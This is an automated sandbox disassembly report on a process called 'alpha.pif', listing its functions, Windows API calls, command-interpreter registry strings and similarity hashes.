Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
String ID: Software\Classes
API String ID: 2714550308-1656466771
Opcode ID: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
Instruction ID: 4c7445bac551ff06c33f72b93d3b12bb5c24c500f35602062b816b1c0598c12d
Opcode Fuzzy Hash: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
Instruction Fuzzy Hash: BE417F22A09F5A91EB00AB169445079E3A4FB48BF0FA08131DA9D477E1DF39D84EC358

Function 00007FF718D6A0B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D6A0FC

Part of subcall function 00007FF718D4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
Part of subcall function 00007FF718D4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D4EE
Part of subcall function 00007FF718D4D3F0: iswspace.MSVCRT ref: 00007FF718D4D54D
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D569
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D58C

RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D6A1FB

Strings

Software\Classes, xrefs: 00007FF718D6A0EE

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
String ID: Software\Classes
API String ID: 2714550308-1656466771
Opcode ID: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
Instruction ID: 1457d519c7ca30dc79dea9ca514e287ebf6fe501f7f20b2d36a69e3feee7b503
Opcode Fuzzy Hash: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
Instruction Fuzzy Hash: 02417022A09F5E81EB00AB16D445439E3A4FB487E0FA48131DEDD477A1EE3DD85DC359

Function 00007FF718D4CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF718D5C736
SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0 ref: 00007FF718D5C7E0

Strings

- , xrefs: 00007FF718D5C7A6

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ConsoleTitle
String ID: -
API String ID: 3358957663-3695764949
Opcode ID: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
Instruction ID: e0cc102f887cf4f1236685ebf5e4a65a350bc9eb5616785561388ded8f615944
Opcode Fuzzy Hash: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
Instruction Fuzzy Hash: 1D318521A08F4A85EB14BB11A445178E6B4BB4DFB0FD84275D99E07B95DF3CE44DC328

Function 00007FF718D57280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF718D572D2
swscanf.MSVCRT ref: 00007FF718D5731F

Strings

:EOF, xrefs: 00007FF718D572E8

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsnicmpswscanf
String ID: :EOF
API String ID: 1534968528-551370653
Opcode ID: 0653d2a24574df907a156a73786289bc793a3e356bc39756bce3d9cad3207eea
Instruction ID: e21558fe738b027e712647675cc2b57b4ced1a3f84873971b3681cefa0a7d4e8
Opcode Fuzzy Hash: 0653d2a24574df907a156a73786289bc793a3e356bc39756bce3d9cad3207eea
Instruction Fuzzy Hash: 41316431E08F4A86FB14BB15A444278F2B1EF4D770FD58632EADD06295DF2CE44D8668

Function 00007FF718D43BE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF718D43C85

Strings

/-Y, xrefs: 00007FF718D6184D

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsnicmp
String ID: /-Y
API String ID: 1886669725-4274875248
Opcode ID: 772bd3782c46842c372c8b89a915565f11f80ecece3792b3c4e3ce842e7c51e5
Instruction ID: 96b7aa829114eb9b4aef391378d92b81d1bc261fd6428a7071db5824e13bd432
Opcode Fuzzy Hash: 772bd3782c46842c372c8b89a915565f11f80ecece3792b3c4e3ce842e7c51e5
Instruction Fuzzy Hash: D0217175A08F5981EB18BB16944057AF6A0BB5CFE0F884071DEC817B94DE3CE49ED718

Function 00007FF718D4B62C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

3, xrefs: 00007FF718D4B64D
3, xrefs: 00007FF718D4B685

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID:
String ID: 3$3
API String ID: 0-2538865259
Opcode ID: 20d97ca64ded1831fc5a14ddeeed34ee126ef41525fd7b4cb26341839782f1e3
Instruction ID: 8c1ff121b7cad58c2a964449d6499c649f0efbf5a2db63c4245294b0ebb30393
Opcode Fuzzy Hash: 20d97ca64ded1831fc5a14ddeeed34ee126ef41525fd7b4cb26341839782f1e3
Instruction Fuzzy Hash: 21017970D0AF4A8AF708BBA1A8C1274F230BF5E330FD90175D48E059A5CF2C248C8729

Function 00007FF718D509F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

iswspace.MSVCRT ref: 00007FF718D50A11
wcschr.MSVCRT ref: 00007FF718D50A2B

Strings

=,;, xrefs: 00007FF718D50A24

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: iswspacewcschr
String ID: =,;
API String ID: 287713880-1539845467
Opcode ID: 8fcb7a04138a3b23992a7cdb16ce22985c951060ce84957cc9b0662892501dea
Instruction ID: 5033c28191224679497346b7bc36d5742b9ead833b8052889a72e0027e8a3387
Opcode Fuzzy Hash: 8fcb7a04138a3b23992a7cdb16ce22985c951060ce84957cc9b0662892501dea
Instruction Fuzzy Hash: A1F04421A19F5A81FB64AB02E45017AF5B0FF4CF61FC99232D99D42254DF2CD84CC628

Function 00007FF718D506C0 Relevance: 5.1, APIs: 4, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D506D6
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D506F0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D5074D
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF718D4B4DB), ref: 00007FF718D50762

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
Instruction ID: dec06e250faa5415965adebbbc86acae3a217f4eab025246808695af8dab5c96
Opcode Fuzzy Hash: cb757f755a027b81a776796b91978963b45d8166734cf522aad66d61178eecf0
Instruction Fuzzy Hash: 1A413A72A09B4A86EB14AF10E441179FAB0EF99BA0BD48135DA8D43754DF3CE84DC768

Analysis Process: alpha.pifPID: 6004, Parent PID: 2944COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1227
Total number of Limit Nodes:	9

Executed Functions

Function 00007FF718D4AA54 Relevance: 51.3, APIs: 24, Strings: 5, Instructions: 536
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF718D4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDA6
Part of subcall function 00007FF718D4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDBD

wcschr.MSVCRT ref: 00007FF718D4AAB6
towlower.MSVCRT ref: 00007FF718D4AAD5
memset.MSVCRT ref: 00007FF718D4AC27
wcschr.MSVCRT ref: 00007FF718D4AC3C
wcschr.MSVCRT ref: 00007FF718D4AC60
wcsrchr.MSVCRT ref: 00007FF718D4AC9B
wcschr.MSVCRT ref: 00007FF718D4AD82
wcschr.MSVCRT ref: 00007FF718D4AD9D
wcschr.MSVCRT ref: 00007FF718D4ADB8
wcschr.MSVCRT ref: 00007FF718D4ADD3
wcschr.MSVCRT ref: 00007FF718D4ADEE
wcschr.MSVCRT ref: 00007FF718D4AE09
iswspace.MSVCRT ref: 00007FF718D4AE30

Strings

:ON, xrefs: 00007FF718D5BD37
:, xrefs: 00007FF718D5BC26
:, xrefs: 00007FF718D5BCFE
OFF, xrefs: 00007FF718D5BC32, 00007FF718D5BC92, 00007FF718D5BD0A
:, xrefs: 00007FF718D5BC86

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$Heap$AllocProcessiswspacememsettowlowerwcsrchr
String ID: :$:$:$:ON$OFF
API String ID: 972821348-467788257
Opcode ID: ec77655612b2197603e506f96a5fdd07df98b32b07624a2fc81e4f2603e93a28
Instruction ID: 3899f5b58632f2d57bad750863e14eadcb2ef4c251859ad5345cd454f452a09f
Opcode Fuzzy Hash: ec77655612b2197603e506f96a5fdd07df98b32b07624a2fc81e4f2603e93a28
Instruction Fuzzy Hash: 0322C221A08F4A86FB54BF219415279E6B1EF4DBA0FC88176C98E47794DF3CA44C8729

Function 00007FF718D551EC Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF718D55508: GetUserDefaultLCID.KERNELBASE(?,?,?,?,00007FF718D46F97), ref: 00007FF718D5550C

GetLocaleInfoW.KERNELBASE ref: 00007FF718D55237
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55260
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D552AB
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D552F7
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55335
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55360
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55388
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D553B0
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D553D8
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55400
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55428
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55450
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D55478
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D554A0
setlocale.MSVCRT ref: 00007FF718D554BD

Strings

Fri, xrefs: 00007FF718D5F0FE
Sat, xrefs: 00007FF718D5F141
.OCP, xrefs: 00007FF718D554B4
Thu, xrefs: 00007FF718D5F0BB
Mon, xrefs: 00007FF718D5EFF2
Wed, xrefs: 00007FF718D5F078
MM/dd/yy, xrefs: 00007FF718D552D0
Sun, xrefs: 00007FF718D5F184
Tue, xrefs: 00007FF718D5F035
yy/MM/dd, xrefs: 00007FF718D5EF8D
dd/MM/yy, xrefs: 00007FF718D5EFA3

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: InfoLocale$DefaultUsersetlocale
String ID: .OCP$Fri$MM/dd/yy$Mon$Sat$Sun$Thu$Tue$Wed$dd/MM/yy$yy/MM/dd
API String ID: 1351325837-2236139042
Opcode ID: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
Instruction ID: 8161ed9b0cdea9e0b2741457a39ebb61d6d9dba22c0652d29eba2148c7a1af0a
Opcode Fuzzy Hash: 2a4578c534326ca189a6d67b8d7d5f73ffb3ac0fc7df7dd3f0f26b29881ec2ab
Instruction Fuzzy Hash: 96F14B25B08B4A85EB15AF15D5102B9E2B4BF0DBA4FD44236DA8D477A4EF3CE50DC328

Function 00007FF718D55554 Relevance: 45.8, APIs: 18, Strings: 8, Instructions: 295
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,00000000,?,00000001,?,00007FF718D54E35), ref: 00007FF718D555DA
RegQueryValueExW.KERNELBASE ref: 00007FF718D55623
RegQueryValueExW.KERNELBASE ref: 00007FF718D55667
RegQueryValueExW.KERNELBASE ref: 00007FF718D556BE
RegQueryValueExW.KERNELBASE ref: 00007FF718D55702
RegQueryValueExW.KERNELBASE ref: 00007FF718D55759
RegQueryValueExW.KERNELBASE ref: 00007FF718D557CF
RegQueryValueExW.KERNELBASE ref: 00007FF718D55862
RegCloseKey.KERNELBASE ref: 00007FF718D5587B
time.MSVCRT(?,00000000,?,00000001,?,00007FF718D54E35), ref: 00007FF718D55896
srand.MSVCRT ref: 00007FF718D558A5

Strings

CompletionChar, xrefs: 00007FF718D55752
AutoRun, xrefs: 00007FF718D5585B
PathCompletionChar, xrefs: 00007FF718D557C8
Software\Microsoft\Command Processor, xrefs: 00007FF718D555D3
DisableUNCCheck, xrefs: 00007FF718D55614
EnableExtensions, xrefs: 00007FF718D55660
DefaultColor, xrefs: 00007FF718D556FB
DelayedExpansion, xrefs: 00007FF718D556B7

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: QueryValue$CloseOpensrandtime
String ID: AutoRun$CompletionChar$DefaultColor$DelayedExpansion$DisableUNCCheck$EnableExtensions$PathCompletionChar$Software\Microsoft\Command Processor
API String ID: 145004033-3846321370
Opcode ID: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
Instruction ID: cb7799b12b6521e97310c5ca65dc329cbd234d29441052a8e0563b1355e43f39
Opcode Fuzzy Hash: 7805ef0751f17a64bc231b327674b43fa69c0befe7df2b1e52c817e25d9d9668
Instruction Fuzzy Hash: 2BE13A32519F8A86E751AB10E44017AF7B0FB89765FC05236EACE42A58DF7CE54CCB24

Function 00007FF718D537D8 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 269
registrythreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D5380B
OpenThread.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D53821
HeapSetInformation.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D53845
RegOpenKeyExW.KERNELBASE ref: 00007FF718D53875
GetConsoleOutputCP.KERNELBASE ref: 00007FF718D538BF
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D538DD
memset.MSVCRT ref: 00007FF718D53909
_setjmp.MSVCRT ref: 00007FF718D53952
GetConsoleOutputCP.KERNELBASE ref: 00007FF718D5398B
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D539A2
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D5EA1F
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D5EA2F

Part of subcall function 00007FF718D55920: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,00007FF718D5B71F), ref: 00007FF718D55997
Part of subcall function 00007FF718D55920: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,?,?,?,?,00000000,00000000,00000000,00007FF718D5B71F), ref: 00007FF718D559C5

GetThreadLocale.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D5EA41

Strings

DisableCMD, xrefs: 00007FF718D5EA18
Software\Policies\Microsoft\Windows\System, xrefs: 00007FF718D53867

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: QueryThread$ConsoleInfoOpenOutputVirtual$CloseCurrentHeapInformationLocaleValue_setjmpmemset
String ID: DisableCMD$Software\Policies\Microsoft\Windows\System
API String ID: 2624720099-1920437939
Opcode ID: 0bf09e208e1b0c6bea64f33002f51ec0bb7d1cb9bc02841e8aeeb1d0e4bcf9a4
Instruction ID: f3a5d52e787c499db80ef41b758dbff7cf1eb4f250ecf78b3a4b347f963f2960
Opcode Fuzzy Hash: 0bf09e208e1b0c6bea64f33002f51ec0bb7d1cb9bc02841e8aeeb1d0e4bcf9a4
Instruction Fuzzy Hash: 25C1C131E08F4A8AF714BB609441178FAB1FF4E734FC4823AD99E56695DE3CA44D8728

Function 00007FF718D52978 Relevance: 9.1, APIs: 6, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
Instruction ID: 7d3d4f061d33efecd404d077a79c841b505941160734e29a406f1e165d341a09
Opcode Fuzzy Hash: 449607d8b30cf2fcca0a8811105e09d4af6f68671a5f8fd8d6b2897c28d3601c
Instruction Fuzzy Hash: F651D621B08B8685EB20AB15D54427AE770FB58BB4FC44332DEAD076D1DF3CE44D8614

Function 00007FF718D47D30 Relevance: 3.3, APIs: 2, Instructions: 252COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D47DA1

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

Part of subcall function 00007FF718D5417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D541AD

Part of subcall function 00007FF718D4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
Part of subcall function 00007FF718D4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D4EE
Part of subcall function 00007FF718D4D3F0: iswspace.MSVCRT ref: 00007FF718D4D54D
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D569
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D58C

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D47EB7

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$Heapmemset$AllocCurrentDirectoryProcessiswspace
String ID:
API String ID: 168394030-0
Opcode ID: b6050c66f82dc7928a1abc4fa5bbb3c506f83fcae6e66a9ce87afb692c1e7a8d
